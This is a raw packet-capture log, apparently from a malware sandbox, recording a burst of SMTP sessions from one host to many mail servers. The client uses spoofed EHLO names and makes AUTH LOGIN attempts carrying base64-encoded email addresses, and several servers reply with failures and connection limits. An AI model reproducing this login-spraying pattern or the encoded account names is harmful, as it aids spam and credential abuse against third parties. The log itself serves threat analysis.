May 19, 2024 17:27:44.734396935 CEST	587	49935	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:44.744213104 CEST	49914	587	192.168.2.4	129.159.94.43	EHLO smtp.tds.net
May 19, 2024 17:27:44.769258976 CEST	587	49909	64.136.52.44	192.168.2.4	250-smtpout02.vgs.untd.com Hello smtp.netzero.net pleased to meet you 250-SIZE 250-8BITMIME 250-AUTH LOGIN PLAIN CRAM-MD5 250 HELP
May 19, 2024 17:27:44.781829119 CEST	587	49848	101.0.69.102	192.168.2.4	250-dedicated-04.efront.com.au Hello mab.com.au [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
May 19, 2024 17:27:44.786945105 CEST	587	49806	91.209.104.155	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:44.786999941 CEST	587	49933	64.91.253.60	192.168.2.4	220-host.chesternet.com ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 16:27:44 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:44.787007093 CEST	587	49812	193.70.18.144	192.168.2.4	250-OVH SMTP PROXY Hello 250-SIZE 104857600 250-ENHANCEDSTATUSCODES
May 19, 2024 17:27:44.822804928 CEST	587	49843	84.116.6.19	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:44.840955973 CEST	49915	587	192.168.2.4	35.214.122.161	EHLO mail.lloydbolam.co.uk
May 19, 2024 17:27:44.841002941 CEST	49907	587	192.168.2.4	46.227.176.12	EHLO mail.palmsoft.sk
May 19, 2024 17:27:44.856288910 CEST	587	49914	129.159.94.43	192.168.2.4	250-smtp02.tds.email-ash1.sync.lan says EHLO to 208.252.80.51:27062 250-8BITMIME 250-STARTTLS 250-AUTH=LOGIN 250-AUTH LOGIN 250-PIPELINING 250-ENHANCEDSTATUSCODES 250 XDUMPCONTEXT
May 19, 2024 17:27:45.099021912 CEST	587	49812	193.70.18.144	192.168.2.4	250-AUTH LOGIN PLAIN 250-AUTH=LOGIN PLAIN 250-STARTTLS 250 8BITMIME
May 19, 2024 17:27:45.099910021 CEST	587	49847	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:45.099941969 CEST	587	49931	84.2.43.67	192.168.2.4	220 smtp.freemail.hu ESMTP
May 19, 2024 17:27:45.100053072 CEST	587	49915	35.214.122.161	192.168.2.4	250-ukm10.siteground.biz Hello mail.lloydbolam.co.uk [208.252.80.51] 250-SIZE 83886080 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:45.100292921 CEST	587	49843	84.116.6.19	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:45.100492954 CEST	49854	587	192.168.2.4	175.135.252.193	STARTTLS
May 19, 2024 17:27:45.104089022 CEST	587	49907	46.227.176.12	192.168.2.4	250-mail.ip-net.sk 250-PIPELINING 250-SIZE 32428800 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250 8BITMIME
May 19, 2024 17:27:45.104265928 CEST	587	49778	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:27:45.104480982 CEST	587	49914	129.159.94.43	192.168.2.4	250-smtp02.tds.email-ash1.sync.lan says EHLO to 208.252.80.51:27062 250-8BITMIME 250-STARTTLS 250-AUTH=LOGIN 250-AUTH LOGIN 250-PIPELINING 250-ENHANCEDSTATUSCODES 250 XDUMPCONTEXT
May 19, 2024 17:27:45.104984999 CEST	49819	587	192.168.2.4	91.136.8.56	STARTTLS
May 19, 2024 17:27:45.104991913 CEST	49920	587	192.168.2.4	84.116.6.22	EHLO smtp.ntlworld.com
May 19, 2024 17:27:45.105040073 CEST	49917	587	192.168.2.4	94.100.132.8	EHLO mx1.telecable.es
May 19, 2024 17:27:45.105098963 CEST	49866	587	192.168.2.4	64.136.52.44	AUTH LOGIN b25jZWdyOEBuZXR6ZXJvLm5ldA==
May 19, 2024 17:27:45.108767033 CEST	587	49812	193.70.18.144	192.168.2.4	250-AUTH LOGIN PLAIN 250-AUTH=LOGIN PLAIN 250-STARTTLS 250 8BITMIME
May 19, 2024 17:27:45.142715931 CEST	587	49931	84.2.43.67	192.168.2.4	220 smtp.freemail.hu ESMTP
May 19, 2024 17:27:45.163332939 CEST	587	49847	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:45.181756973 CEST	49870	587	192.168.2.4	35.214.83.212	STARTTLS
May 19, 2024 17:27:45.181801081 CEST	49823	587	192.168.2.4	202.124.241.204	AUTH LOGIN YnJlbnRvbkBicmVha2Rlc2lnbi5jb20uYXU=
May 19, 2024 17:27:45.182147026 CEST	49851	587	192.168.2.4	194.185.246.171	STARTTLS
May 19, 2024 17:27:45.182200909 CEST	49925	587	192.168.2.4	62.149.128.203	EHLO smtp.unionsrl.it
May 19, 2024 17:27:45.291990995 CEST	587	49856	64.59.136.142	192.168.2.4	421 shw-obgw-4001a.ext.cloudfilter.net cmsmtp too many sessions from _ipsrc. AUP#CNCT
May 19, 2024 17:27:45.292051077 CEST	587	49866	64.136.52.44	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:45.296639919 CEST	587	49819	91.136.8.56	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:45.304826021 CEST	587	49917	94.100.132.8	192.168.2.4	250-mx-gate163-hz1.hornetsecurity.com 250-PIPELINING 250-SIZE 157286400 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:45.305289984 CEST	49912	587	192.168.2.4	91.196.0.18	EHLO maize.com.ua
May 19, 2024 17:27:45.305377007 CEST	49873	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:45.305620909 CEST	49879	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:45.309731007 CEST	587	49779	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:27:45.309760094 CEST	587	49920	84.116.6.22	192.168.2.4	250-csmtp4-prd-nl1-vmo.edge.unified.services hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52000000 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:45.376246929 CEST	587	49870	35.214.83.212	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:45.384149075 CEST	587	49854	175.135.252.193	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:45.418826103 CEST	587	49925	62.149.128.203	192.168.2.4	250-smtpdh07.ad.aruba.it hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 524288000 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:45.433549881 CEST	587	49851	194.185.246.171	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:45.438262939 CEST	587	49941	79.96.63.102	192.168.2.4	220 cloudserver066904.home.pl ESMTP Mailsystemx
May 19, 2024 17:27:45.497927904 CEST	587	49823	202.124.241.204	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:45.507742882 CEST	587	49942	217.74.65.52	192.168.2.4	220 ESMTP INTERIA.PL
May 19, 2024 17:27:45.519408941 CEST	587	49879	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:45.519470930 CEST	587	49912	91.196.0.18	192.168.2.4	250-server18.hostbizua.kiev.ua Hello maize.com.ua [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:45.524614096 CEST	587	49873	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:45.535077095 CEST	49888	587	192.168.2.4	34.160.63.108	STARTTLS
May 19, 2024 17:27:45.535167933 CEST	49901	587	192.168.2.4	103.224.30.254	EHLO prusales.com.kh
May 19, 2024 17:27:45.575283051 CEST	587	49908	194.152.32.10	192.168.2.4	220 mail.inbox.lv relay for customers ESMTP ready
May 19, 2024 17:27:45.575333118 CEST	587	49944	150.214.204.12	192.168.2.4	220 smtpcorreo2.ugr.es
May 19, 2024 17:27:45.638787985 CEST	49887	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:45.638905048 CEST	49930	587	192.168.2.4	84.116.6.22	EHLO smtp.ntlworld.com
May 19, 2024 17:27:45.639084101 CEST	49883	587	192.168.2.4	103.152.248.23	EHLO nuclearit.com.au
May 19, 2024 17:27:45.639132977 CEST	49932	587	192.168.2.4	194.19.134.66	EHLO smtp.email.it
May 19, 2024 17:27:45.684484959 CEST	587	49888	34.160.63.108	192.168.2.4	220 Go ahead
May 19, 2024 17:27:45.736423016 CEST	49863	587	192.168.2.4	46.182.21.2	STARTTLS
May 19, 2024 17:27:45.736619949 CEST	49849	587	192.168.2.4	107.180.41.245	STARTTLS
May 19, 2024 17:27:45.843549013 CEST	587	49932	194.19.134.66	192.168.2.4	250-SMTP.DKA.mailcore.net 250-PIPELINING 250-SIZE 31457280 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:45.843609095 CEST	587	49930	84.116.6.22	192.168.2.4	250-csmtp2-prd-nl1-vmo.edge.unified.services hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52000000 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:45.843888044 CEST	49882	587	192.168.2.4	195.121.65.26	STARTTLS
May 19, 2024 17:27:45.844136953 CEST	49934	587	192.168.2.4	65.20.63.172	EHLO mail.optonline.net
May 19, 2024 17:27:45.844367981 CEST	49889	587	192.168.2.4	162.241.225.12	STARTTLS
May 19, 2024 17:27:45.844427109 CEST	49864	587	192.168.2.4	84.2.43.67	STARTTLS
May 19, 2024 17:27:45.857475042 CEST	587	49849	107.180.41.245	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:45.857534885 CEST	587	49887	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:45.900959969 CEST	587	49948	182.248.170.226	192.168.2.4	220 au.com ESMTP Au_mail
May 19, 2024 17:27:45.900974035 CEST	587	49940	157.7.144.20	192.168.2.4	220 smtp.gmoserver.jp ESMTP Postfix
May 19, 2024 17:27:45.922977924 CEST	587	49901	103.224.30.254	192.168.2.4	250-103-24-35-174.cprapid.com Hello prusales.com.kh [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
May 19, 2024 17:27:45.947082996 CEST	587	49951	84.116.6.22	192.168.2.4	220 csmtp1-prd-nl1-vmo.edge.unified.services csmtp1-prd-nl1-vmo.edge.unified.services ESMTP server ready
May 19, 2024 17:27:45.947098017 CEST	587	49863	46.182.21.2	192.168.2.4	220 Begin TLS negotiation
May 19, 2024 17:27:45.984932899 CEST	587	49883	103.152.248.23	192.168.2.4	250-cpanel-572-syd.hostingww.com Hello nuclearit.com.au [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:45.985254049 CEST	49903	587	192.168.2.4	194.19.134.66	STARTTLS
May 19, 2024 17:27:45.985553980 CEST	49935	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:45.985599995 CEST	49909	587	192.168.2.4	64.136.52.44	AUTH LOGIN ci5raGFubmExQG5ldHplcm8ubmV0
May 19, 2024 17:27:45.985651016 CEST	49848	587	192.168.2.4	101.0.69.102	STARTTLS
May 19, 2024 17:27:45.985696077 CEST	49933	587	192.168.2.4	64.91.253.60	EHLO out.co.uk
May 19, 2024 17:27:46.000005960 CEST	587	49897	64.59.136.142	192.168.2.4	421 shw-obgw-4004a.ext.cloudfilter.net cmsmtp too many sessions from _ipsrc. AUP#CNCT
May 19, 2024 17:27:46.010077000 CEST	587	49889	162.241.225.12	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:46.047416925 CEST	587	49882	195.121.65.26	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.052146912 CEST	587	49864	84.2.43.67	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.081754923 CEST	49914	587	192.168.2.4	129.159.94.43	STARTTLS
May 19, 2024 17:27:46.090982914 CEST	587	49764	64.136.52.44	192.168.2.4	535 smtpout01.vgs.untd.com Authentication failed
May 19, 2024 17:27:46.123332024 CEST	587	49933	64.91.253.60	192.168.2.4	250-host.chesternet.com Hello out.co.uk [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
May 19, 2024 17:27:46.158688068 CEST	587	49909	64.136.52.44	192.168.2.4	334 UGFzc3dvcmQ6
May 19, 2024 17:27:46.181700945 CEST	587	49765	64.136.52.44	192.168.2.4	535 smtpout02.vgs.untd.com Authentication failed
May 19, 2024 17:27:46.181865931 CEST	49812	587	192.168.2.4	193.70.18.144	STARTTLS
May 19, 2024 17:27:46.182033062 CEST	49931	587	192.168.2.4	84.2.43.67	EHLO smtp.freemail.hu
May 19, 2024 17:27:46.182235003 CEST	49915	587	192.168.2.4	35.214.122.161	STARTTLS
May 19, 2024 17:27:46.182523966 CEST	49907	587	192.168.2.4	46.227.176.12	STARTTLS
May 19, 2024 17:27:46.182574987 CEST	49778	587	192.168.2.4	142.93.237.125	EHLO mx.generic-isp.com
May 19, 2024 17:27:46.192626953 CEST	587	49903	194.19.134.66	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.197226048 CEST	587	49935	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:46.202131987 CEST	587	49914	129.159.94.43	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:46.279561043 CEST	587	49959	193.122.179.25	192.168.2.4	220 2.0.0 mail.windstream.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:46 -0400
May 19, 2024 17:27:46.322988033 CEST	587	49848	101.0.69.102	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:46.357703924 CEST	587	49812	193.70.18.144	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.362443924 CEST	587	49915	35.214.122.161	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:46.387203932 CEST	587	49907	46.227.176.12	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.392687082 CEST	587	49778	142.93.237.125	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-STARTTLS 250 HELP
May 19, 2024 17:27:46.392733097 CEST	587	49931	84.2.43.67	192.168.2.4	250-smtp.freemail.hu 250-PIPELINING 250-SIZE 52428800 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:46.433634996 CEST	49917	587	192.168.2.4	94.100.132.8	STARTTLS
May 19, 2024 17:27:46.433674097 CEST	49779	587	192.168.2.4	142.93.237.125	EHLO mx.generic-isp.com
May 19, 2024 17:27:46.433916092 CEST	49920	587	192.168.2.4	84.116.6.22	STARTTLS
May 19, 2024 17:27:46.575004101 CEST	49925	587	192.168.2.4	62.149.128.203	STARTTLS
May 19, 2024 17:27:46.575205088 CEST	49941	587	192.168.2.4	79.96.63.102	EHLO out.delord.pl
May 19, 2024 17:27:46.627672911 CEST	587	49917	94.100.132.8	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.642477989 CEST	587	49920	84.116.6.22	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.689013004 CEST	49942	587	192.168.2.4	217.74.65.52	EHLO interia.eu
May 19, 2024 17:27:46.729424953 CEST	587	49779	142.93.237.125	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:46.734441042 CEST	587	49789	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:27:46.792062044 CEST	587	49925	62.149.128.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:46.792279005 CEST	49912	587	192.168.2.4	91.196.0.18	STARTTLS
May 19, 2024 17:27:46.797823906 CEST	587	49941	79.96.63.102	192.168.2.4	250-cloudserver066904.home.pl 250-PIPELINING 250-SIZE 157286400 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:46.802601099 CEST	587	49963	83.223.113.41	192.168.2.4	220-svr01.seventy9.co.uk ESMTP Exim 4.96.2 #2 Sun, 19 May 2024 16:27:46 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:46.917799950 CEST	49908	587	192.168.2.4	194.152.32.10	EHLO mail.inbox.lv
May 19, 2024 17:27:46.917941093 CEST	49944	587	192.168.2.4	150.214.204.12	EHLO correo.ugr.es
May 19, 2024 17:27:46.928303957 CEST	587	49942	217.74.65.52	192.168.2.4	250-interia.eu 250-PIPELINING 250-SIZE 157286400 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 SMTPUTF8
May 19, 2024 17:27:46.961347103 CEST	587	49964	201.193.191.44	192.168.2.4	220 antispam02.ice.co.cr ESMTP Smtpd; Sun, 19 May 2024 09:27:46 -0600
May 19, 2024 17:27:46.981059074 CEST	587	49825	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:27:47.000267029 CEST	587	49823	202.124.241.204	192.168.2.4	535 Incorrect authentication data
May 19, 2024 17:27:47.005309105 CEST	587	49912	91.196.0.18	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:47.029937029 CEST	49932	587	192.168.2.4	194.19.134.66	STARTTLS
May 19, 2024 17:27:47.029999971 CEST	49930	587	192.168.2.4	84.116.6.22	STARTTLS
May 19, 2024 17:27:47.039961100 CEST	587	49968	168.0.132.203	192.168.2.4	220 smtp6.smtp.skymail.prv ESMTP
May 19, 2024 17:27:47.137463093 CEST	587	49944	150.214.204.12	192.168.2.4	250-smtpcorreo2.ugr.es 250-PIPELINING 250-SIZE 26214400 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:47.142565966 CEST	587	49908	194.152.32.10	192.168.2.4	250-mail.inbox.lv relay for customers 250-SIZE 59900000 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 STARTTLS
May 19, 2024 17:27:47.174438000 CEST	587	49969	91.103.219.229	192.168.2.4	220-voyager.servers.prgn.misp.co.uk ESMTP Exim 4.94.2 #2 Sun, 19 May 2024 16:27:47 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 19, 2024 17:27:47.227332115 CEST	587	49932	194.19.134.66	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:47.232335091 CEST	49948	587	192.168.2.4	182.248.170.226	EHLO smtp.ezweb.ne.jp
May 19, 2024 17:27:47.232409954 CEST	49940	587	192.168.2.4	157.7.144.20	EHLO smtp.heartsaver.jp
May 19, 2024 17:27:47.232686043 CEST	49951	587	192.168.2.4	84.116.6.22	EHLO smtp.ntlworld.com
May 19, 2024 17:27:47.232748032 CEST	49901	587	192.168.2.4	103.224.30.254	STARTTLS
May 19, 2024 17:27:47.236964941 CEST	587	49831	142.93.237.125	192.168.2.4	220 mx.generic-isp.com ESMTP Welcome
May 19, 2024 17:27:47.237009048 CEST	587	49930	84.116.6.22	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:47.338927031 CEST	587	49911	185.137.168.190	192.168.2.4	220 server226.campusspeicher.de ESMTP Postfix
May 19, 2024 17:27:47.339204073 CEST	49883	587	192.168.2.4	103.152.248.23	STARTTLS
May 19, 2024 17:27:47.428891897 CEST	587	49955	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:47 +0200
May 19, 2024 17:27:47.440926075 CEST	587	49951	84.116.6.22	192.168.2.4	250-csmtp1-prd-nl1-vmo.edge.unified.services hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 52000000 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:47.505420923 CEST	587	49961	41.193.157.227	192.168.2.4	220 smtp.vox.co.za ESMTP Exim 4.93.0.4 Sun, 19 May 2024 17:27:47 +0200
May 19, 2024 17:27:47.505453110 CEST	587	49940	157.7.144.20	192.168.2.4	250-smtp.gmoserver.jp 250-PIPELINING 250-SIZE 150000000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN
May 19, 2024 17:27:47.515476942 CEST	587	49948	182.248.170.226	192.168.2.4	250-airosk00fep110 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-SIZE 3145728 250-DSN 250-STARTTLS 250-DELIVERBY 250-HELP 250 AUTH PLAIN LOGIN CRAM-MD5
May 19, 2024 17:27:47.538014889 CEST	49933	587	192.168.2.4	64.91.253.60	STARTTLS
May 19, 2024 17:27:47.633394957 CEST	587	49965	84.116.6.22	192.168.2.4	421 csmtp3-prd-nl1-vmo.edge.unified.services csmtp3-prd-nl1-vmo.edge.unified.services Too many connections (VM410)
May 19, 2024 17:27:47.633452892 CEST	587	49901	103.224.30.254	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:47.654200077 CEST	587	49973	92.42.36.37	192.168.2.4	220 mail.aktifonlinesatis.com ESMTP MailEnable Service, Version: 10.27-- ready at 05/19/24 18:27:47
May 19, 2024 17:27:47.655005932 CEST	49935	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:47.714142084 CEST	587	49883	103.152.248.23	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:47.719639063 CEST	587	49933	64.91.253.60	192.168.2.4	220 TLS go ahead
May 19, 2024 17:27:47.760987043 CEST	587	49764	64.136.52.44	192.168.2.4	500 Command unrecognized
May 19, 2024 17:27:47.783818960 CEST	49959	587	192.168.2.4	193.122.179.25	EHLO mail.windstream.net
May 19, 2024 17:27:47.805450916 CEST	587	49974	194.181.93.175	192.168.2.4	220 op13 Welcome to the @Mail SMTP Server ( Exim )
May 19, 2024 17:27:47.827564001 CEST	587	49765	64.136.52.44	192.168.2.4	500 Command unrecognized
May 19, 2024 17:27:47.864936113 CEST	587	49935	213.209.1.145	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:47.884146929 CEST	49778	587	192.168.2.4	142.93.237.125	STARTTLS
May 19, 2024 17:27:47.884175062 CEST	49931	587	192.168.2.4	84.2.43.67	STARTTLS
May 19, 2024 17:27:47.907412052 CEST	587	49959	193.122.179.25	192.168.2.4	250-smtp04.aqua.email-ash1.sync.lan says EHLO to 208.252.80.51:27195 250-PIPELINING 250-XDUMPCONTEXT 250-ENHANCEDSTATUSCODES 250-AUTH=LOGIN 250-AUTH LOGIN 250-8BITMIME 250 STARTTLS
May 19, 2024 17:27:48.099487066 CEST	587	49931	84.2.43.67	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:48.105154037 CEST	587	49778	142.93.237.125	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:48.293029070 CEST	49779	587	192.168.2.4	142.93.237.125	STARTTLS
May 19, 2024 17:27:48.293207884 CEST	49789	587	192.168.2.4	142.93.237.125	EHLO mx.generic-isp.com
May 19, 2024 17:27:48.293605089 CEST	49941	587	192.168.2.4	79.96.63.102	STARTTLS
May 19, 2024 17:27:48.412782907 CEST	49963	587	192.168.2.4	83.223.113.41	EHLO sinotechltd.co.uk
May 19, 2024 17:27:48.510273933 CEST	587	49789	142.93.237.125	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-STARTTLS 250 HELP
May 19, 2024 17:27:48.514826059 CEST	587	49941	79.96.63.102	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:48.530383110 CEST	49942	587	192.168.2.4	217.74.65.52	STARTTLS
May 19, 2024 17:27:48.588329077 CEST	587	49779	142.93.237.125	192.168.2.4	220 Ready to start TLS
May 19, 2024 17:27:48.593401909 CEST	587	49871	65.20.63.172	192.168.2.4	250-altprdrgo03.altice.prod.cloud.openwave.ai 250-DSN 250-8BITMIME 250-AUTH=LOGIN 250-AUTH LOGIN PLAIN 250-STARTTLS 250-DELIVERBY 300 250 SIZE 104857600
May 19, 2024 17:27:48.598342896 CEST	587	49963	83.223.113.41	192.168.2.4	250-svr01.seventy9.co.uk Hello sinotechltd.co.uk [208.252.80.51] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:48.665759087 CEST	49964	587	192.168.2.4	201.193.191.44	EHLO smtp.ice.co.cr
May 19, 2024 17:27:48.665838003 CEST	49825	587	192.168.2.4	142.93.237.125	EHLO mx.generic-isp.com
May 19, 2024 17:27:48.766707897 CEST	587	49942	217.74.65.52	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:48.766793013 CEST	587	49986	209.67.129.100	192.168.2.4	220 Mail2World SMTP Server Ready
May 19, 2024 17:27:48.823847055 CEST	587	49980	82.98.132.37	192.168.2.4	220 hl830.dinaserver.com SMTP Ready
May 19, 2024 17:27:48.824120998 CEST	49968	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:48.824764013 CEST	49944	587	192.168.2.4	150.214.204.12	STARTTLS
May 19, 2024 17:27:48.824950933 CEST	49908	587	192.168.2.4	194.152.32.10	STARTTLS
May 19, 2024 17:27:48.875169039 CEST	587	49964	201.193.191.44	192.168.2.4	250-antispam02.ice.co.cr Hello [208.252.80.51], pleased to meet you 250-ENHANCEDSTATUSCODES 250-PIPELINING 250-8BITMIME 250-SIZE 107315200 250-DSN 250-AUTH LOGIN PLAIN 250-STARTTLS 250-DELIVERBY 250 HELP
May 19, 2024 17:27:48.894567013 CEST	587	49825	142.93.237.125	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-STARTTLS 250 HELP
May 19, 2024 17:27:48.938256979 CEST	49831	587	192.168.2.4	142.93.237.125	EHLO mx.generic-isp.com
May 19, 2024 17:27:48.973140955 CEST	587	49823	202.124.241.204	192.168.2.4	500 unrecognized command
May 19, 2024 17:27:49.049650908 CEST	587	49944	150.214.204.12	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:49.054317951 CEST	587	49908	194.152.32.10	192.168.2.4	220 2.0.0 Start TLS
May 19, 2024 17:27:49.059212923 CEST	587	49968	168.0.132.203	192.168.2.4	250-smtp6.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:49.115175962 CEST	587	49981	141.85.160.41	192.168.2.4	220 mail.colel.pub.ro ESMTP Postfix
May 19, 2024 17:27:49.193789959 CEST	587	49989	40.99.157.50	192.168.2.4	220 FR2P281CA0136.outlook.office365.com Microsoft ESMTP MAIL Service ready at Sun, 19 May 2024 15:27:48 +0000
May 19, 2024 17:27:49.216950893 CEST	49955	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
May 19, 2024 17:27:49.217108965 CEST	49951	587	192.168.2.4	84.116.6.22	STARTTLS
May 19, 2024 17:27:49.227881908 CEST	587	49831	142.93.237.125	192.168.2.4	250-Welcome 250-8BITMIME 250-ETRN 250-SMTPUTF8 250-PIPELINING 250-SIZE 4194304 250-DSN 250-REQUIRETLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-STARTTLS 250 HELP
May 19, 2024 17:27:49.329350948 CEST	49940	587	192.168.2.4	157.7.144.20	STARTTLS
May 19, 2024 17:27:49.329366922 CEST	49961	587	192.168.2.4	41.193.157.227	EHLO mail.absamail.co.za
